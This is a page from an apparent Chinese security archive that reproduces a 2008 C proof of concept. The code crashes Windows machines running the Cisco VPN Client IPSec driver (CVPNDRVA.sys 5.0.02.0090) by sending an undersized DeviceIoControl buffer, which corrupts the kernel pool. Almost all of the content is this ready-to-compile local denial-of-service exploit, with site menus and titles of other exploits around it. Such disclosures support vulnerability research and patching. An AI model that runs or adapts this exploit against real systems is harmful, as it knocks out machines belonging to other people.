首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC
来源:mu-b@digit-labs.org 作者:mu-b 发布时间:2008-01-17  
/* cpndrv-dos.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC
* by mu-b - Sat 11 Jan 2008
*
* - Tested on: CVPNDRVA.sys 5.0.02.0090
*
* specifying an input buffer size less-than 8+31-bytes results in the
* local kernel non-paged pool (METHOD_BUFFERED) being corrupted with
* uninitialised (dangling) kernel stack memory via an inline memcpy.
*
* Compile: MinGW + -lntdll
*
*    - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define CVPN_IOCTL    0x80002038
#define CVPN_LEN      0x10       /* n < 8 + 31 */

struct ioctl_req {
  char arg[CVPN_LEN];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("Cisco VPN Client IPSec Driver local kernel system pool corruption PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\CVPNDRVA", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0x00, sizeof req);
  req.arg[0] = 0x69;

  /* corrupt the system pool */
  printf ("* hitting.. [sizeof: %d]\n", sizeof req);
  Sleep (5000);

  result = DeviceIoControl (hFile, CVPN_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PixelPost 1.7 Remote Blind SQL
·Macrovision FlexNet DownloadMa
·PixelPost 1.7 Remote Blind SQL
·Xforum 1.4 (topic) Remote SQL
·MyBulletinBoard (MyBB) <= 1.2.
·X7 Chat <= 2.0.5 (day) Remote
·Quicktime Player <= 7.3.1.70 H
·BitTorrent and UTorrent Peers
·Agares PhpAutoVideo 2.21 (arti
·Digital Data Communications (R
·NUVICO DVR NVDV4 / PdvrAtl Mod
·AuraCMS 1.62 (stat.php) Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved